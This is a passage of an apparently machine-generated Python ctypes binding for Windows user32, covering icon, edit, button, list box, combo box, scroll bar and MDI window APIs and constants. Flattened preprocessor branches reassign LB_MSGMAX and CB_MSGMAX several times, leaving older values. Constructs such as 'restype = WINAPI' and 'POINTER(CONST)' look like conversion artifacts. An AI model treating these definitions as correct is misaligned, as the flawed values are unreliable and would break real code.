BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ('wResID', WORD),\n ('szModName', WCHAR * MAX_PATH),\n ('szResName', WCHAR * MAX_PATH),\n ]\n\n\nICONINFOEXW = _ICONINFOEXW\nPICONINFOEXW = POINTER(_ICONINFOEXW)\n\n\nICONINFOEX = ICONINFOEXW\nPICONINFOEX = PICONINFOEXW\n\n# WINAPI\n# GetIconInfoExA(\n# _In_ HICON hicon,\n# _Inout_ PICONINFOEXA piconinfo);\nGetIconInfoExA = user32.GetIconInfoExA\nGetIconInfoExA.restype = WINAPI\n\n\n# WINAPI\n# GetIconInfoExW(\n# _In_ HICON hicon,\n# _Inout_ PICONINFOEXW piconinfo);\nGetIconInfoExW = user32.GetIconInfoExW\nGetIconInfoExW.restype = WINAPI\n\nGetIconInfoEx = GetIconInfoExW\n# GetIconInfoEx = GetIconInfoExA\nRES_ICON = 0x00000001\nRES_CURSOR = 0x00000002\nOBM_CLOSE = 0x00007FF2\nOBM_UPARROW = 0x00007FF1\nOBM_DNARROW = 0x00007FF0\nOBM_RGARROW = 0x00007FEF\nOBM_LFARROW = 0x00007FEE\nOBM_REDUCE = 0x00007FED\nOBM_ZOOM = 0x00007FEC\nOBM_RESTORE = 0x00007FEB\nOBM_REDUCED = 0x00007FEA\nOBM_ZOOMD = 0x00007FE9\nOBM_RESTORED = 0x00007FE8\nOBM_UPARROWD = 0x00007FE7\nOBM_DNARROWD = 0x00007FE6\nOBM_RGARROWD = 0x00007FE5\nOBM_LFARROWD = 0x00007FE4\nOBM_MNARROW = 0x00007FE3\nOBM_COMBO = 0x00007FE2\nOBM_UPARROWI = 0x00007FE1\nOBM_DNARROWI = 0x00007FE0\nOBM_RGARROWI = 0x00007FDF\nOBM_LFARROWI = 0x00007FDE\nOBM_OLD_CLOSE = 0x00007FFF\nOBM_SIZE = 0x00007FFE\nOBM_OLD_UPARROW = 0x00007FFD\nOBM_OLD_DNARROW = 0x00007FFC\nOBM_OLD_RGARROW = 0x00007FFB\nOBM_OLD_LFARROW = 0x00007FFA\nOBM_BTSIZE = 0x00007FF9\nOBM_CHECK = 0x00007FF8\nOBM_CHECKBOXES = 0x00007FF7\nOBM_BTNCORNERS = 0x00007FF6\nOBM_OLD_REDUCE = 0x00007FF5\nOBM_OLD_ZOOM = 0x00007FF4\nOBM_OLD_RESTORE = 0x00007FF3\nOCR_NORMAL = 0x00007F00\nOCR_IBEAM = 0x00007F01\nOCR_WAIT = 0x00007F02\nOCR_CROSS = 0x00007F03\nOCR_UP = 0x00007F04\nOCR_SIZE = 0x00007F80\nOCR_ICON = 0x00007F81\nOCR_SIZENWSE = 0x00007F82\nOCR_SIZENESW = 0x00007F83\nOCR_SIZEWE = 0x00007F84\nOCR_SIZENS = 0x00007F85\nOCR_SIZEALL = 0x00007F86\nOCR_ICOCUR = 0x00007F87\nOCR_NO = 0x00007F88\nOCR_HAND = 0x00007F89\nOCR_APPSTARTING = 0x00007F8A\nOIC_SAMPLE = 0x00007F00\nOIC_HAND = 0x00007F01\nOIC_QUES = 0x00007F02\nOIC_BANG = 0x00007F03\nOIC_NOTE = 0x00007F04\nOIC_WINLOGO = 0x00007F05\nOIC_WARNING = OIC_BANG\nOIC_ERROR = OIC_HAND\nOIC_INFORMATION = OIC_NOTE\nOIC_SHIELD = 0x00007F06\nORD_LANGDRIVER = 1\nIDI_APPLICATION = 0x00007F00\nIDI_HAND = 0x00007F01\nIDI_QUESTION = 0x00007F02\nIDI_EXCLAMATION = 0x00007F03\nIDI_ASTERISK = 0x00007F04\nIDI_WINLOGO = 0x00007F05\nIDI_SHIELD = 0x00007F06\n\nIDI_WARNING = IDI_EXCLAMATION\nIDI_ERROR = IDI_HAND\nIDI_INFORMATION = IDI_ASTERISK\n\n# WINAPI\n# LoadStringA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ UINT uID,\n# _Out_writes_to_(cchBufferMax, return + 1) LPSTR lpBuffer,\n# _In_ INT cchBufferMax);\nLoadStringA = user32.LoadStringA\nLoadStringA.restype = WINAPI\n\n\n# WINAPI\n# LoadStringW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ UINT uID,\n# _Out_writes_to_(cchBufferMax, return + 1) LPWSTR lpBuffer,\n# _In_ INT cchBufferMax);\nLoadStringW = user32.LoadStringW\nLoadStringW.restype = WINAPI\n\nLoadString = LoadStringW\n# LoadString = LoadStringA\nIDOK = 0x00000001\nIDCANCEL = 0x00000002\nIDABORT = 0x00000003\nIDRETRY = 0x00000004\nIDIGNORE = 0x00000005\nIDYES = 0x00000006\nIDNO = 0x00000007\nIDCLOSE = 0x00000008\nIDHELP = 0x00000009\nIDTRYAGAIN = 0x0000000A\nIDCONTINUE = 0x0000000B\nIDTIMEOUT = 0x00007D00\nES_LEFT = 0x00000000\nES_CENTER = 0x00000001\nES_RIGHT = 0x00000002\nES_MULTILINE = 0x00000004\nES_UPPERCASE = 0x00000008\nES_LOWERCASE = 0x00000010\nES_PASSWORD = 0x00000020\nES_AUTOVSCROLL = 0x00000040\nES_AUTOHSCROLL = 0x00000080\nES_NOHIDESEL = 0x00000100\nES_OEMCONVERT = 0x00000400\nES_READONLY = 0x00000800\nES_WANTRETURN = 0x00001000\nES_NUMBER = 0x00002000\nEN_SETFOCUS = 0x00000100\nEN_KILLFOCUS = 0x00000200\nEN_CHANGE = 0x00000300\nEN_UPDATE = 0x00000400\nEN_ERRSPACE = 0x00000500\nEN_MAXTEXT = 0x00000501\nEN_HSCROLL = 0x00000601\nEN_VSCROLL = 0x00000602\nEN_ALIGN_LTR_EC = 0x00000700\nEN_ALIGN_RTL_EC = 0x00000701\nEN_BEFORE_PASTE = 0x00000800\nEN_AFTER_PASTE = 0x00000801\nEC_LEFTMARGIN = 0x00000001\nEC_RIGHTMARGIN = 0x00000002\nEC_USEFONTINFO = 0x0000FFFF\nEMSIS_COMPOSITIONSTRING = 0x00000001\nEIMES_GETCOMPSTRATONCE = 0x00000001\nEIMES_CANCELCOMPSTRINFOCUS = 0x00000002\nEIMES_COMPLETECOMPSTRKILLFOCUS = 0x00000004\nEM_GETSEL = 0x000000B0\nEM_SETSEL = 0x000000B1\nEM_GETRECT = 0x000000B2\nEM_SETRECT = 0x000000B3\nEM_SETRECTNP = 0x000000B4\nEM_SCROLL = 0x000000B5\nEM_LINESCROLL = 0x000000B6\nEM_SCROLLCARET = 0x000000B7\nEM_GETMODIFY = 0x000000B8\nEM_SETMODIFY = 0x000000B9\nEM_GETLINECOUNT = 0x000000BA\nEM_LINEINDEX = 0x000000BB\nEM_SETHANDLE = 0x000000BC\nEM_GETHANDLE = 0x000000BD\nEM_GETTHUMB = 0x000000BE\nEM_LINELENGTH = 0x000000C1\nEM_REPLACESEL = 0x000000C2\nEM_GETLINE = 0x000000C4\nEM_LIMITTEXT = 0x000000C5\nEM_CANUNDO = 0x000000C6\nEM_UNDO = 0x000000C7\nEM_FMTLINES = 0x000000C8\nEM_LINEFROMCHAR = 0x000000C9\nEM_SETTABSTOPS = 0x000000CB\nEM_SETPASSWORDCHAR = 0x000000CC\nEM_EMPTYUNDOBUFFER = 0x000000CD\nEM_GETFIRSTVISIBLELINE = 0x000000CE\nEM_SETREADONLY = 0x000000CF\nEM_SETWORDBREAKPROC = 0x000000D0\nEM_GETWORDBREAKPROC = 0x000000D1\nEM_GETPASSWORDCHAR = 0x000000D2\nEM_SETMARGINS = 0x000000D3\nEM_GETMARGINS = 0x000000D4\nEM_SETLIMITTEXT = EM_LIMITTEXT\nEM_GETLIMITTEXT = 0x000000D5\nEM_POSFROMCHAR = 0x000000D6\nEM_CHARFROMPOS = 0x000000D7\nEM_SETIMESTATUS = 0x000000D8\nEM_GETIMESTATUS = 0x000000D9\nEM_ENABLEFEATURE = 0x000000DA\n\n\nclass EDIT_CONTROL_FEATURE(ENUM):\n EDIT_CONTROL_FEATURE_ENTERPRISE_DATA_PROTECTION_PASTE_SUPPORT = 0\n EDIT_CONTROL_FEATURE_PASTE_NOTIFICATIONS = 1\n\n\nMAKEINTATOM = VOID\n\nWB_LEFT = 0x00000000\nWB_RIGHT = 0x00000001\nWB_ISDELIMITER = 0x00000002\nBS_PUSHBUTTON = 0x00000000\nBS_DEFPUSHBUTTON = 0x00000001\nBS_CHECKBOX = 0x00000002\nBS_AUTOCHECKBOX = 0x00000003\nBS_RADIOBUTTON = 0x00000004\nBS_3STATE = 0x00000005\nBS_AUTO3STATE = 0x00000006\nBS_GROUPBOX = 0x00000007\nBS_USERBUTTON = 0x00000008\nBS_AUTORADIOBUTTON = 0x00000009\nBS_PUSHBOX = 0x0000000A\nBS_OWNERDRAW = 0x0000000B\nBS_TYPEMASK = 0x0000000F\nBS_LEFTTEXT = 0x00000020\nBS_TEXT = 0x00000000\nBS_ICON = 0x00000040\nBS_BITMAP = 0x00000080\nBS_LEFT = 0x00000100\nBS_RIGHT = 0x00000200\nBS_CENTER = 0x00000300\nBS_TOP = 0x00000400\nBS_BOTTOM = 0x00000800\nBS_VCENTER = 0x00000C00\nBS_PUSHLIKE = 0x00001000\nBS_MULTILINE = 0x00002000\nBS_NOTIFY = 0x00004000\nBS_FLAT = 0x00008000\nBS_RIGHTBUTTON = BS_LEFTTEXT\nBN_CLICKED = 0x00000000\nBN_PAINT = 0x00000001\nBN_HILITE = 0x00000002\nBN_UNHILITE = 0x00000003\nBN_DISABLE = 0x00000004\nBN_DOUBLECLICKED = 0x00000005\nBN_PUSHED = BN_HILITE\nBN_UNPUSHED = BN_UNHILITE\nBN_DBLCLK = BN_DOUBLECLICKED\nBN_SETFOCUS = 0x00000006\nBN_KILLFOCUS = 0x00000007\nBM_GETCHECK = 0x000000F0\nBM_SETCHECK = 0x000000F1\nBM_GETSTATE = 0x000000F2\nBM_SETSTATE = 0x000000F3\nBM_SETSTYLE = 0x000000F4\nBM_CLICK = 0x000000F5\nBM_GETIMAGE = 0x000000F6\nBM_SETIMAGE = 0x000000F7\nBM_SETDONTCLICK = 0x000000F8\nBST_UNCHECKED = 0x00000000\nBST_CHECKED = 0x00000001\nBST_INDETERMINATE = 0x00000002\nBST_PUSHED = 0x00000004\nBST_FOCUS = 0x00000008\nSS_LEFT = 0x00000000\nSS_CENTER = 0x00000001\nSS_RIGHT = 0x00000002\nSS_ICON = 0x00000003\nSS_BLACKRECT = 0x00000004\nSS_GRAYRECT = 0x00000005\nSS_WHITERECT = 0x00000006\nSS_BLACKFRAME = 0x00000007\nSS_GRAYFRAME = 0x00000008\nSS_WHITEFRAME = 0x00000009\nSS_USERITEM = 0x0000000A\nSS_SIMPLE = 0x0000000B\nSS_LEFTNOWORDWRAP = 0x0000000C\nSS_OWNERDRAW = 0x0000000D\nSS_BITMAP = 0x0000000E\nSS_ENHMETAFILE = 0x0000000F\nSS_ETCHEDHORZ = 0x00000010\nSS_ETCHEDVERT = 0x00000011\nSS_ETCHEDFRAME = 0x00000012\nSS_TYPEMASK = 0x0000001F\nSS_REALSIZECONTROL = 0x00000040\nSS_NOPREFIX = 0x00000080\nSS_NOTIFY = 0x00000100\nSS_CENTERIMAGE = 0x00000200\nSS_RIGHTJUST = 0x00000400\nSS_REALSIZEIMAGE = 0x00000800\nSS_SUNKEN = 0x00001000\nSS_EDITCONTROL = 0x00002000\nSS_ENDELLIPSIS = 0x00004000\nSS_PATHELLIPSIS = 0x00008000\nSS_WORDELLIPSIS = 0x0000C000\nSS_ELLIPSISMASK = 0x0000C000\nSTM_SETICON = 0x00000170\nSTM_GETICON = 0x00000171\nSTM_SETIMAGE = 0x00000172\nSTM_GETIMAGE = 0x00000173\nSTN_CLICKED = 0x00000000\nSTN_DBLCLK = 0x00000001\nSTN_ENABLE = 0x00000002\nSTN_DISABLE = 0x00000003\nSTM_MSGMAX = 0x00000174\nWC_DIALOG = MAKEINTATOM(0x8002)\nDWL_MSGRESULT = 0x00000000\nDWL_DLGPROC = 0x00000004\nDWL_USER = 0x00000008\nDWLP_MSGRESULT = 0x00000000\nDWLP_DLGPROC = DWLP_MSGRESULT + ctypes.sizeof(LRESULT)\nDWLP_USER = DWLP_DLGPROC + ctypes.sizeof(DLGPROC)\n\n# WINAPI\n# IsDialogMessageA(\n# _In_ HWND hDlg,\n# _In_ LPMSG lpMsg);\nIsDialogMessageA = user32.IsDialogMessageA\nIsDialogMessageA.restype = WINAPI\n\n\n# WINAPI\n# IsDialogMessageW(\n# _In_ HWND hDlg,\n# _In_ LPMSG lpMsg);\nIsDialogMessageW = user32.IsDialogMessageW\nIsDialogMessageW.restype = WINAPI\n\nIsDialogMessage = IsDialogMessageW\n# IsDialogMessage = IsDialogMessageA\n\n# WINAPI\n# MapDialogRect(\n# _In_ HWND hDlg,\n# _Inout_ LPRECT lpRect);\nMapDialogRect = user32.MapDialogRect\nMapDialogRect.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListA(\n# _In_ HWND hDlg,\n# _Inout_ LPSTR lpPathSpec,\n# _In_ INT nIDListBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFileType);\nDlgDirListA = user32.DlgDirListA\nDlgDirListA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListW(\n# _In_ HWND hDlg,\n# _Inout_ LPWSTR lpPathSpec,\n# _In_ INT nIDListBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFileType);\nDlgDirListW = user32.DlgDirListW\nDlgDirListW.restype = WINAPI\n\nDlgDirList = DlgDirListW\n# DlgDirList = DlgDirListA\nDDL_READWRITE = 0x00000000\nDDL_READONLY = 0x00000001\nDDL_HIDDEN = 0x00000002\nDDL_SYSTEM = 0x00000004\nDDL_DIRECTORY = 0x00000010\nDDL_ARCHIVE = 0x00000020\nDDL_POSTMSGS = 0x00002000\nDDL_DRIVES = 0x00004000\nDDL_EXCLUSIVE = 0x00008000\n\n# WINAPI\n# DlgDirSelectExA(\n# _In_ HWND hwndDlg,\n# _Out_writes_(chCount) LPSTR lpString,\n# _In_ INT chCount,\n# _In_ INT idListBox);\nDlgDirSelectExA = user32.DlgDirSelectExA\nDlgDirSelectExA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirSelectExW(\n# _In_ HWND hwndDlg,\n# _Out_writes_(chCount) LPWSTR lpString,\n# _In_ INT chCount,\n# _In_ INT idListBox);\nDlgDirSelectExW = user32.DlgDirSelectExW\nDlgDirSelectExW.restype = WINAPI\n\nDlgDirSelectEx = DlgDirSelectExW\n# DlgDirSelectEx = DlgDirSelectExA\n\n# WINAPI\n# DlgDirListComboBoxA(\n# _In_ HWND hDlg,\n# _Inout_ LPSTR lpPathSpec,\n# _In_ INT nIDComboBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFiletype);\nDlgDirListComboBoxA = user32.DlgDirListComboBoxA\nDlgDirListComboBoxA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirListComboBoxW(\n# _In_ HWND hDlg,\n# _Inout_ LPWSTR lpPathSpec,\n# _In_ INT nIDComboBox,\n# _In_ INT nIDStaticPath,\n# _In_ UINT uFiletype);\nDlgDirListComboBoxW = user32.DlgDirListComboBoxW\nDlgDirListComboBoxW.restype = WINAPI\n\nDlgDirListComboBox = DlgDirListComboBoxW\n# DlgDirListComboBox = DlgDirListComboBoxA\n\n# WINAPI\n# DlgDirSelectComboBoxExA(\n# _In_ HWND hwndDlg,\n# _Out_writes_(cchOut) LPSTR lpString,\n# _In_ INT cchOut,\n# _In_ INT idComboBox);\nDlgDirSelectComboBoxExA = user32.DlgDirSelectComboBoxExA\nDlgDirSelectComboBoxExA.restype = WINAPI\n\n\n# WINAPI\n# DlgDirSelectComboBoxExW(\n# _In_ HWND hwndDlg,\n# _Out_writes_(cchOut) LPWSTR lpString,\n# _In_ INT cchOut,\n# _In_ INT idComboBox);\nDlgDirSelectComboBoxExW = user32.DlgDirSelectComboBoxExW\nDlgDirSelectComboBoxExW.restype = WINAPI\n\nDlgDirSelectComboBoxEx = DlgDirSelectComboBoxExW\n# DlgDirSelectComboBoxEx = DlgDirSelectComboBoxExA\nDS_ABSALIGN = 0x00000001\nDS_SYSMODAL = 0x00000002\nDS_LOCALEDIT = 0x00000020\nDS_SETFONT = 0x00000040\nDS_MODALFRAME = 0x00000080\nDS_NOIDLEMSG = 0x00000100\nDS_SETFOREGROUND = 0x00000200\nDS_3DLOOK = 0x00000004\nDS_FIXEDSYS = 0x00000008\nDS_NOFAILCREATE = 0x00000010\nDS_CONTROL = 0x00000400\nDS_CENTER = 0x00000800\nDS_CENTERMOUSE = 0x00001000\nDS_CONTEXTHELP = 0x00002000\nDS_SHELLFONT = DS_SETFONT | DS_FIXEDSYS\nDS_USEPIXELS = 0x00008000\nDM_GETDEFID = WM_USER+0\nDM_SETDEFID = WM_USER+1\nDM_REPOSITION = WM_USER+2\nDC_HASDEFID = 0x0000534B\nDLGC_WANTARROWS = 0x00000001\nDLGC_WANTTAB = 0x00000002\nDLGC_WANTALLKEYS = 0x00000004\nDLGC_WANTMESSAGE = 0x00000004\nDLGC_HASSETSEL = 0x00000008\nDLGC_DEFPUSHBUTTON = 0x00000010\nDLGC_UNDEFPUSHBUTTON = 0x00000020\nDLGC_RADIOBUTTON = 0x00000040\nDLGC_WANTCHARS = 0x00000080\nDLGC_STATIC = 0x00000100\nDLGC_BUTTON = 0x00002000\nLB_CTLCODE = 0x00000000\nLB_OKAY = 0x00000000\nLB_ERR = -1\nLB_ERRSPACE = -2\nLBN_ERRSPACE = -2\nLBN_SELCHANGE = 0x00000001\nLBN_DBLCLK = 0x00000002\nLBN_SELCANCEL = 0x00000003\nLBN_SETFOCUS = 0x00000004\nLBN_KILLFOCUS = 0x00000005\nLB_ADDSTRING = 0x00000180\nLB_INSERTSTRING = 0x00000181\nLB_DELETESTRING = 0x00000182\nLB_SELITEMRANGEEX = 0x00000183\nLB_RESETCONTENT = 0x00000184\nLB_SETSEL = 0x00000185\nLB_SETCURSEL = 0x00000186\nLB_GETSEL = 0x00000187\nLB_GETCURSEL = 0x00000188\nLB_GETTEXT = 0x00000189\nLB_GETTEXTLEN = 0x0000018A\nLB_GETCOUNT = 0x0000018B\nLB_SELECTSTRING = 0x0000018C\nLB_DIR = 0x0000018D\nLB_GETTOPINDEX = 0x0000018E\nLB_FINDSTRING = 0x0000018F\nLB_GETSELCOUNT = 0x00000190\nLB_GETSELITEMS = 0x00000191\nLB_SETTABSTOPS = 0x00000192\nLB_GETHORIZONTALEXTENT = 0x00000193\nLB_SETHORIZONTALEXTENT = 0x00000194\nLB_SETCOLUMNWIDTH = 0x00000195\nLB_ADDFILE = 0x00000196\nLB_SETTOPINDEX = 0x00000197\nLB_GETITEMRECT = 0x00000198\nLB_GETITEMDATA = 0x00000199\nLB_SETITEMDATA = 0x0000019A\nLB_SELITEMRANGE = 0x0000019B\nLB_SETANCHORINDEX = 0x0000019C\nLB_GETANCHORINDEX = 0x0000019D\nLB_SETCARETINDEX = 0x0000019E\nLB_GETCARETINDEX = 0x0000019F\nLB_SETITEMHEIGHT = 0x000001A0\nLB_GETITEMHEIGHT = 0x000001A1\nLB_FINDSTRINGEXACT = 0x000001A2\nLB_SETLOCALE = 0x000001A5\nLB_GETLOCALE = 0x000001A6\nLB_SETCOUNT = 0x000001A7\nLB_INITSTORAGE = 0x000001A8\nLB_ITEMFROMPOINT = 0x000001A9\nLB_MULTIPLEADDSTRING = 0x000001B1\nLB_GETLISTBOXINFO = 0x000001B2\nLB_MSGMAX = 0x000001B3\nLB_MSGMAX = 0x000001B1\nLB_MSGMAX = 0x000001B0\nLB_MSGMAX = 0x000001A8\nLBS_NOTIFY = 0x00000001\nLBS_SORT = 0x00000002\nLBS_NOREDRAW = 0x00000004\nLBS_MULTIPLESEL = 0x00000008\nLBS_OWNERDRAWFIXED = 0x00000010\nLBS_OWNERDRAWVARIABLE = 0x00000020\nLBS_HASSTRINGS = 0x00000040\nLBS_USETABSTOPS = 0x00000080\nLBS_NOINTEGRALHEIGHT = 0x00000100\nLBS_MULTICOLUMN = 0x00000200\nLBS_WANTKEYBOARDINPUT = 0x00000400\nLBS_EXTENDEDSEL = 0x00000800\nLBS_DISABLENOSCROLL = 0x00001000\nLBS_NODATA = 0x00002000\nLBS_NOSEL = 0x00004000\nLBS_COMBOBOX = 0x00008000\nLBS_STANDARD = LBS_NOTIFY | LBS_SORT | WS_VSCROLL | WS_BORDER\nCB_OKAY = 0x00000000\nCB_ERR = -1\nCB_ERRSPACE = -2\nCBN_ERRSPACE = -1\nCBN_SELCHANGE = 0x00000001\nCBN_DBLCLK = 0x00000002\nCBN_SETFOCUS = 0x00000003\nCBN_KILLFOCUS = 0x00000004\nCBN_EDITCHANGE = 0x00000005\nCBN_EDITUPDATE = 0x00000006\nCBN_DROPDOWN = 0x00000007\nCBN_CLOSEUP = 0x00000008\nCBN_SELENDOK = 0x00000009\nCBN_SELENDCANCEL = 0x0000000A\nCBS_SIMPLE = 0x00000001\nCBS_DROPDOWN = 0x00000002\nCBS_DROPDOWNLIST = 0x00000003\nCBS_OWNERDRAWFIXED = 0x00000010\nCBS_OWNERDRAWVARIABLE = 0x00000020\nCBS_AUTOHSCROLL = 0x00000040\nCBS_OEMCONVERT = 0x00000080\nCBS_SORT = 0x00000100\nCBS_HASSTRINGS = 0x00000200\nCBS_NOINTEGRALHEIGHT = 0x00000400\nCBS_DISABLENOSCROLL = 0x00000800\nCBS_UPPERCASE = 0x00002000\nCBS_LOWERCASE = 0x00004000\nCB_GETEDITSEL = 0x00000140\nCB_LIMITTEXT = 0x00000141\nCB_SETEDITSEL = 0x00000142\nCB_ADDSTRING = 0x00000143\nCB_DELETESTRING = 0x00000144\nCB_DIR = 0x00000145\nCB_GETCOUNT = 0x00000146\nCB_GETCURSEL = 0x00000147\nCB_GETLBTEXT = 0x00000148\nCB_GETLBTEXTLEN = 0x00000149\nCB_INSERTSTRING = 0x0000014A\nCB_RESETCONTENT = 0x0000014B\nCB_FINDSTRING = 0x0000014C\nCB_SELECTSTRING = 0x0000014D\nCB_SETCURSEL = 0x0000014E\nCB_SHOWDROPDOWN = 0x0000014F\nCB_GETITEMDATA = 0x00000150\nCB_SETITEMDATA = 0x00000151\nCB_GETDROPPEDCONTROLRECT = 0x00000152\nCB_SETITEMHEIGHT = 0x00000153\nCB_GETITEMHEIGHT = 0x00000154\nCB_SETEXTENDEDUI = 0x00000155\nCB_GETEXTENDEDUI = 0x00000156\nCB_GETDROPPEDSTATE = 0x00000157\nCB_FINDSTRINGEXACT = 0x00000158\nCB_SETLOCALE = 0x00000159\nCB_GETLOCALE = 0x0000015A\nCB_GETTOPINDEX = 0x0000015B\nCB_SETTOPINDEX = 0x0000015C\nCB_GETHORIZONTALEXTENT = 0x0000015D\nCB_SETHORIZONTALEXTENT = 0x0000015E\nCB_GETDROPPEDWIDTH = 0x0000015F\nCB_SETDROPPEDWIDTH = 0x00000160\nCB_INITSTORAGE = 0x00000161\nCB_MULTIPLEADDSTRING = 0x00000163\nCB_GETCOMBOBOXINFO = 0x00000164\nCB_MSGMAX = 0x00000165\nCB_MSGMAX = 0x00000163\nCB_MSGMAX = 0x00000162\nCB_MSGMAX = 0x0000015B\nSBS_HORZ = 0x00000000\nSBS_VERT = 0x00000001\nSBS_TOPALIGN = 0x00000002\nSBS_LEFTALIGN = 0x00000002\nSBS_BOTTOMALIGN = 0x00000004\nSBS_RIGHTALIGN = 0x00000004\nSBS_SIZEBOXTOPLEFTALIGN = 0x00000002\nSBS_SIZEBOXBOTTOMRIGHTALIGN = 0x00000004\nSBS_SIZEBOX = 0x00000008\nSBS_SIZEGRIP = 0x00000010\nSBM_SETPOS = 0x000000E0\nSBM_GETPOS = 0x000000E1\nSBM_SETRANGE = 0x000000E2\nSBM_SETRANGEREDRAW = 0x000000E6\nSBM_GETRANGE = 0x000000E3\nSBM_ENABLE_ARROWS = 0x000000E4\nSBM_SETSCROLLINFO = 0x000000E9\nSBM_GETSCROLLINFO = 0x000000EA\nSBM_GETSCROLLBARINFO = 0x000000EB\nSIF_RANGE = 0x00000001\nSIF_PAGE = 0x00000002\nSIF_POS = 0x00000004\nSIF_DISABLENOSCROLL = 0x00000008\nSIF_TRACKPOS = 0x00000010\nSIF_ALL = SIF_RANGE | SIF_PAGE | SIF_POS | SIF_TRACKPOS\n\nclass tagSCROLLINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('fMask', UINT),\n ('nMin', INT),\n ('nMax', INT),\n ('nPage', UINT),\n ('nPos', INT),\n ('nTrackPos', INT),\n ]\n\n\nSCROLLINFO = tagSCROLLINFO\nLPSCROLLINFO = POINTER(tagSCROLLINFO)\n\n\nLPCSCROLLINFO = POINTER(CONST)\n\n# WINAPI\n# SetScrollInfo(\n# _In_ HWND hwnd,\n# _In_ INT nBar,\n# _In_ LPCSCROLLINFO lpsi,\n# _In_ BOOL redraw);\nSetScrollInfo = user32.SetScrollInfo\nSetScrollInfo.restype = WINAPI\n\n\n# WINAPI\n# GetScrollInfo(\n# _In_ HWND hwnd,\n# _In_ INT nBar,\n# _Inout_ LPSCROLLINFO lpsi);\nGetScrollInfo = user32.GetScrollInfo\nGetScrollInfo.restype = WINAPI\n\nMDIS_ALLCHILDSTYLES = 0x00000001\nMDITILE_VERTICAL = 0x00000000\nMDITILE_HORIZONTAL = 0x00000001\nMDITILE_SKIPDISABLED = 0x00000002\nMDITILE_ZORDER = 0x00000004\n\nclass tagMDICREATESTRUCTA(ctypes.Structure):\n _fields_ = [\n ('szClass', LPCSTR),\n ('szTitle', LPCSTR),\n ('hOwner', HANDLE),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('style', DWORD),\n ('lParam', LPARAM),\n ]\n\n\nMDICREATESTRUCTA = tagMDICREATESTRUCTA\nLPMDICREATESTRUCTA = POINTER(tagMDICREATESTRUCTA)\n\n\n\nclass tagMDICREATESTRUCTW(ctypes.Structure):\n _fields_ = [\n ('szClass', LPCWSTR),\n ('szTitle', LPCWSTR),\n ('hOwner', HANDLE),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('style', DWORD),\n ('lParam', LPARAM),\n ]\n\n\nMDICREATESTRUCTW = tagMDICREATESTRUCTW\nLPMDICREATESTRUCTW = POINTER(tagMDICREATESTRUCTW)\n\n\nMDICREATESTRUCT = MDICREATESTRUCTW\nLPMDICREATESTRUCT = LPMDICREATESTRUCTW\n\nclass tagCLIENTCREATESTRUCT(ctypes.Structure):\n _fields_ = [\n ('hWindowMenu', HANDLE),\n ('idFirstChild', UINT),\n ]\n\n\nCLIENTCREATESTRUCT = tagCLIENTCREATESTRUCT\nLPCLIENTCREATESTRUCT = POINTER(tagCLIENTCREATESTRUCT)\n\n\n\n# WINAPI\n# DefFrameProcA(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndMDIClient,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefFrameProcA = user32.DefFrameProcA\nDefFrameProcA.restype = WINAPI\n\n\n# WINAPI\n# DefFrameProcW(\n# _In_ HWND hWnd,\n# _In_opt_ HWND hWndMDIClient,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefFrameProcW = user32.DefFrameProcW\nDefFrameProcW.restype = WINAPI\n\nDefFrameProc = DefFrameProcW\n# DefFrameProc = DefFrameProcA\n\n# #endif\n# DefMDIChildProcA(\n# _In_ HWND hWnd,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefMDIChildProcA = user32.DefMDIChildProcA\nDefMDIChildProcA.restype = WINAPI\n\n\n# #endif\n# DefMDIChildProcW(\n# _In_ HWND hWnd,\n# _In_ UINT uMsg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nDefMDIChildProcW = user32.DefMDIChildProcW\nDefMDIChildProcW.restype = WINAPI\n\nDefMDIChildProc = DefMDIChildProcW\n# DefMDIChildProc = DefMDIChildProcA\n\n# WINAPI\n# TranslateMDISysAccel(\n# _In_ HWND hWndClient,\n# _In_ LPMSG lpMsg);\nTranslateMDISysAccel = user32.TranslateMDISysAccel\nTranslateMDISysAccel.restype = WINAPI\n\n\n# WINAPI\n# ArrangeIconicWindows(\n# _In_ HWND hWnd);\nArrangeIconicWindows = user32.ArrangeIconicWindows\nArrangeIconicWindows.restype = WINAPI\n\n\n# WINAPI\n# CreateMDIWindowA(\n# _In_ LPCSTR lpClassName,\n# _In_ LPCSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPARAM lParam);\nCreateMDIWindowA = user32.CreateMDIWindowA\nCreateMDIWindowA.restype = WINAPI\n\n\n# WINAPI\n# CreateMDIWindowW(\n# _In_ LPCWSTR lpClassName,\n# _In_ LPCWSTR lpWindowName,\n# _In_ DWORD dwStyle,\n# _In_ INT X,\n# _In_ INT Y,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPARAM lParam);\nCreateMDIWindowW = user32.CreateMDIWindowW\nCreateMDIWindowW.restype = WINAPI\n\nCreateMDIWindow = CreateMDIWindowW\n# CreateMDIWindow = CreateMDIWindowA\n\n# WINAPI\n# TileWindows(\n# _In_opt_ HWND hwndParent,\n# _In_ UINT wHow,\n# _In_opt_ CONST RECT * lpRect,\n# _In_ UINT cKids,\n# _In_reads_opt_(cKids) HWND FAR * 